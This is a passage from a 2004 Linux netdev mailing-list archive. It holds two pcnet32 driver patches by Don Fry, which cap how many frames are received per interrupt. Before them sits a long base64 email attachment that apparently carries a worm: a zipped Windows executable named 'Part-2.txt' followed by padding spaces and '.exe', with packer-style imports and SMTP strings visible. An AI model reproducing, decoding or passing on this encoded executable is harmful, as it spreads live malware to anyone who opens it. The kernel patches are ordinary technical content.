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 cnMQt3FCRHI4hFR5W3AQecdUm9YsUBVcb8F5vJVWQ99xFG59Gtvvhz9lcM6rilrhwkluZpr+ Ru2fWaxwrgH8ygCO5itFeHI7qyZ3G539blXkfScbci0AH2JNdR0Y1K3mTmGiQ2+dm30T0yHk GXhHc1lE353Yyz81zxcKTW9ky+JiZk5nqfXOQFlUagJxlGlr1zZLCA1ORUy4C0mazHHZdDQB 4tVuGzAXU3SScM1JTrABRVS2KA1XUzJfvT/LK3ILdHeABWtQYXQe4LppcGhsrLgtcGkhSYk3 Z7CgS2V520UnZ3QmVigLdWVF5c8RJ0/Mex6ADkFEVkFQXkld388nhZ3jT5RDe5Nwgkn3R68L bW0ik0wUJlmiVsTKc/ubpvNyz2O7cswOSHQl1OHpCzX7EFT5vmVuKk0L7hTgVW5otoxZZFbE EXDS/+1b9wVLREU31zmnuHNnc9uLdxlnV6zIrLDarwxUb01xm0J5tiv3eS5c+heIV/qT8iVr L1spI2TAW2qLTfw/+xFEZcVyb3n0DfJ/NrnG29cawlJ0bMP0d2mdGctAU7U3ncEOTsG3zDrW lrGnqE2pdvwRflcmQ1DQnwsWQQx+FRZPRU0LtaCEQWRkT3KdmEzI63nG2FVMQ1lNjPNXqg8h V+jHw0VaqmbCNJZA2QMk5xSeBDj0leTz1N0PHsR5tKTjlJWPhDx0ZPNUz0Q8NCTzFM8EF/SU A4/kPLio85TPhDwsSgBaV0tGTEVQQQBHVU1IU0NCRABYTk9JVlRZUgRRa2V1ccD5eGZibExn VhVtd3SM0HrEHGTAvHJqMDEAMjM0NTY3ODk8Ky8AXBxHELkDCOcAjviTPPTs8+TP3DzUzPPE z7w8tKzzpM+cPJSM84TPfDx0bPNkz1w8VEzzRM88PDQs8yTPHDwUDPMEx/iSHux55Njn1J7A eayY54ieeHlsWOdAnjR5KBjnDJ4AOPSR5PPQwUFtdneYZWuY/XcGbXouamLY709uVnnbC2Jo bg9QQmvMhS8tMg0WSyotaxdFWo4jaKNBZ/FHORqz+fEQU3diUnX4QUtusxiOKnrdJ2IgYt55 WyEXy2l97hP3Cjsfy3GBvi+LZYW+D4Fxd3VjGarPCBOibduNnxFHb5WeFBNQYgAH04sPblEX dysvS0m+39Lix3R02BMueS1haAeHb3pmYWx6dNhhenZ4ZndgdgfnHgfBbXVm2GFhfHb8F3Gs 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 AAcEAADAAAAA6LQcACIAAAAAAAAAAAAAAAEAMAAAAAAAKAAAABAAAAAgAAAAAQAEAAAAAADA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAIAAAACAgACAAAAAgACAAICAAACAgIAAwMDA AAAA/wAA/wAAAP//AP8AAAD/AP8A//8AAP///wAAAIiIiAAAAAAIh3d3eIAAAHj//4iHcAAA ePeP//94AAB4/////3gAAHj3d3j/eAAAeP////94AAB493d4/3gAAHj/////eAAAePd3j/94 AAB4/////3gAAHj/////eAAAeH9/f394AACHc4eHh4AAAAezO3t3gAAAAAAAAIAAAPA/AADg BwAAwAcAAMADAADAAwAAwAMAAMADAADAAwAAwAMAAMADAADAAwAAwAMAAMADAADABwAA4AcA AP/fAAAoAAAAIAAAAEAAAAABAAQAAAAAAIACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAA gAAAAICAAIAAAACAAIAAgIAAAMDAwACAgIAAAAD/AAD/AAAA//8A/wAAAP8A/wD//wAA//// AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHAAAAAAAAAAAAAAAAAAAAeI gACAAAAAAAAAAAAAAAAH//d4iIiIAAAAAAAAAAAAd///////d3iIgAAAAAAAAHf4iIj///// /4cAAAAAAAB///////////+HAAAAAAAAf/iIiP//////hwAAAAAAAH///////////4cAAAAA AAB///////////+HAAAAAAAAf///////////hwAAAAAAAH/3f////////4cAAAAAAAB/94iI iIh3//+HAAAAAAAAf//////3d4//hwAAAAAAAH/4iIiId////4cAAAAAAAB/////93eIh/+H AAAAAAAAf/iIiHd/////hwAAAAAAAH////93eIiP/4cAAAAAAAB///////////+HAAAAAAAA f///////////hwAAAAAAAH/3d////////4cAAAAAAAB/93iIf/////+HAAAAAAAAf/f///// ////hwAAAAAAAH/4iIj//////4cAAAAAAAB///////////+HAAAAAAAAf4f3f/f/////hwAA AAAAAHeDeDf4j4P4j4cAAAAAAAB4g4iIiDdzd4iAAAAAAAAAA7uLuIg4c4iIAAAAAAAAAABw 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 pLMC6G0AAABz9jPJ6GQAAABzHDPA6FsAAABzI7MCQbAQ6E8AAAASwHP3dT+q69ToTQAAACvL dRDoQgAAAOsorNHodE0TyesckUjB4Ais6CwAAAA9AH0AAHMKgPwFcwaD+H93AkFBlYvFswFW i/cr8POkXuuOAtJ1BYoWRhLSwzPJQeju////E8no5////3Lywyt8JCiJfCQcYcIQAL+1HABb CQAARAEAAGO7HAAStRwAFrUcAAAAQAC406tc8I2IghAAEIlBAYtUJASLUgzGAumDwgUryolK /DPAw7h4VjQSZI8FAAAAAIPEBFVTUVdSVo2YQxAAEItTGIvoakBoABAAAP9zBGoAi0sQA8qL Af/Qi/hQizOLUxgD8otLDAPKjYUdEQAQ/3MEjwBqAFBXVv/RWANDCIv4i1MYi/CLRvyDwAQr 8IlWCItLEIlOJItLFFGJTij/14mFIREAEIvwWQNLGGgAgAAAagBX/xGLxl5aX1lbXf/gAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABQ SwECFAAKAAAAAAB2pLYwjUtP9wBWAAAAVgAAkwAAAAAAAAAAACAAAAAAAAAAUGFydC0yLnR4 dCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAuZXhlUEsFBgAAAAABAAEAwQAAALFWAAAAAA== ------=_NextPart_000_0005_00002AEF.00003B31-- From brazilnut@us.ibm.com Sat May 22 15:28:09 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 22 May 2004 15:28:28 -0700 (PDT) Received: from e34.co.us.ibm.com (e34.co.us.ibm.com [32.97.110.132]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4MMS8KO002589 for ; Sat, 22 May 2004 15:28:08 -0700 Received: from westrelay02.boulder.ibm.com (westrelay02.boulder.ibm.com [9.17.195.11]) by e34.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id i4MMRu57381534; Sat, 22 May 2004 18:27:56 -0400 Received: from DYN318364BLD.beaverton.ibm.com (d03av02.boulder.ibm.com [9.17.195.168]) by westrelay02.boulder.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i4MMRt3l366404; Sat, 22 May 2004 16:27:55 -0600 Received: (from donf@localhost) by DYN318364BLD.beaverton.ibm.com (8.11.6/8.11.6) id i4MMMJ512917; Sat, 22 May 2004 15:22:19 -0700 From: Don Fry Message-Id: <200405222222.i4MMMJ512917@DYN318364BLD.beaverton.ibm.com> Subject: [PATCH 2.6.6-bk8] pcnet32: limit frames received during interrupt. To: tsbogend@alpha.franken.de, jgarzik@pobox.com, netdev@oss.sgi.com Date: Sat, 22 May 2004 15:22:19 -0700 (PDT) X-Mailer: ELM [version 2.5 PL6] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 5245 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: brazilnut@us.ibm.com Precedence: bulk X-list: netdev The current code will allow an infinite number of frames to be received during one interrupt. Tested ia32 and ppc64. --- linux-2.6.6-bk8/drivers/net/ltint.pcnet32.c Fri May 21 15:09:56 2004 +++ linux-2.6.6-bk8/drivers/net/pcnet32.c Sat May 22 13:23:24 2004 @@ -22,8 +22,8 @@ *************************************************************************/ #define DRV_NAME "pcnet32" -#define DRV_VERSION "1.30" -#define DRV_RELDATE "05.18.2004" +#define DRV_VERSION "1.30a" +#define DRV_RELDATE "05.22.2004" #define PFX DRV_NAME ": " static const char *version = @@ -86,7 +86,7 @@ static struct net_device *pcnet32_dev; -static int max_interrupt_work = 80; +static int max_interrupt_work = 2; static int rx_copybreak = 200; #define PCNET32_PORT_AUI 0x00 @@ -241,6 +241,7 @@ * forever. * v1.30 18 May 2004 Don Fry removed timer and Last Transmit Interrupt * (ltint) as they added complexity and didn't give good throughput. + * v1.30a 22 May 2004 Don Fry limit frames received during interrupt. */ @@ -1860,6 +1861,7 @@ { struct pcnet32_private *lp = dev->priv; int entry = lp->cur_rx & RX_RING_MOD_MASK; + int boguscnt = RX_RING_SIZE / 2; /* If we own the next entry, it's a new packet. Send it up. */ while ((short)le16_to_cpu(lp->rx_ring[entry].status) >= 0) { @@ -1962,6 +1964,7 @@ wmb(); /* Make sure owner changes after all others are visible */ lp->rx_ring[entry].status |= le16_to_cpu(0x8000); entry = (++lp->cur_rx) & RX_RING_MOD_MASK; + if (--boguscnt <= 0) break; /* don't stay in loop forever */ } return 0; -- Don Fry brazilnut@us.ibm.com From brazilnut@us.ibm.com Sat May 22 15:35:51 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 22 May 2004 15:36:04 -0700 (PDT) Received: from e32.co.us.ibm.com (e32.co.us.ibm.com [32.97.110.130]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4MMZpKO002998 for ; Sat, 22 May 2004 15:35:51 -0700 Received: from westrelay02.boulder.ibm.com (westrelay02.boulder.ibm.com [9.17.195.11]) by e32.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id i4MMZYx2290218; Sat, 22 May 2004 18:35:34 -0400 Received: from DYN318364BLD.beaverton.ibm.com (d03av02.boulder.ibm.com [9.17.195.168]) by westrelay02.boulder.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i4MMZW3l422258; Sat, 22 May 2004 16:35:33 -0600 Received: (from donf@localhost) by DYN318364BLD.beaverton.ibm.com (8.11.6/8.11.6) id i4MMU2H12986; Sat, 22 May 2004 15:30:02 -0700 From: Don Fry Message-Id: <200405222230.i4MMU2H12986@DYN318364BLD.beaverton.ibm.com> Subject: [PATCH 2.4.27-pre3] pcnet32: limit frames received during interrupt. To: tsbogend@alpha.franken.de, jgarzik@pobox.com, netdev@oss.sgi.com Date: Sat, 22 May 2004 15:30:02 -0700 (PDT) X-Mailer: ELM [version 2.5 PL6] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 5246 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: brazilnut@us.ibm.com Precedence: bulk X-list: netdev The current code will allow an infinite number of frames to be received during one interrupt. Tested ia32. --- linux-2.4.27-pre3/drivers/net/ltint.pcnet32.c Fri May 21 12:43:19 2004 +++ linux-2.4.27-pre3/drivers/net/pcnet32.c Sat May 22 13:26:44 2004 @@ -22,8 +22,8 @@ *************************************************************************/ #define DRV_NAME "pcnet32" -#define DRV_VERSION "1.30" -#define DRV_RELDATE "05.18.2004" +#define DRV_VERSION "1.30a" +#define DRV_RELDATE "05.22.2004" #define PFX DRV_NAME ": " static const char *version = @@ -86,7 +86,7 @@ static struct net_device *pcnet32_dev; -static int max_interrupt_work = 80; +static int max_interrupt_work = 2; static int rx_copybreak = 200; #define PCNET32_PORT_AUI 0x00 @@ -241,6 +241,7 @@ * forever. * v1.30 18 May 2004 Don Fry removed timer and Last Transmit Interrupt * (ltint) as they added complexity and didn't give good throughput. + * v1.30a 22 May 2004 Don Fry limit frames received during interrupt. */ @@ -1857,6 +1858,7 @@ { struct pcnet32_private *lp = dev->priv; int entry = lp->cur_rx & RX_RING_MOD_MASK; + int boguscnt = RX_RING_SIZE / 2; /* If we own the next entry, it's a new packet. Send it up. */ while ((short)le16_to_cpu(lp->rx_ring[entry].status) >= 0) { @@ -1955,6 +1957,7 @@ wmb(); /* Make sure owner changes after all others are visible */ lp->rx_ring[entry].status |= le16_to_cpu(0x8000); entry = (++lp->cur_rx) & RX_RING_MOD_MASK; + if (--boguscnt <= 0) break; /* don't stay in loop forever */ } return 0; -- Don Fry brazilnut@us.ibm.com From hch@lst.de Sat May 22 16:11:20 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 22 May 2004 16:11:26 -0700 (PDT) Received: from mail.lst.de (verein.lst.de [212.34.189.10]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4MNBJKO003915 for ; Sat, 22 May 2004 16:11:20 -0700 Received: from verein.lst.de (localhost [127.0.0.1]) by mail.lst.de (8.12.3/8.12.3/Debian-6.6) with ESMTP id i4MNBHQc003453 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Sun, 23 May 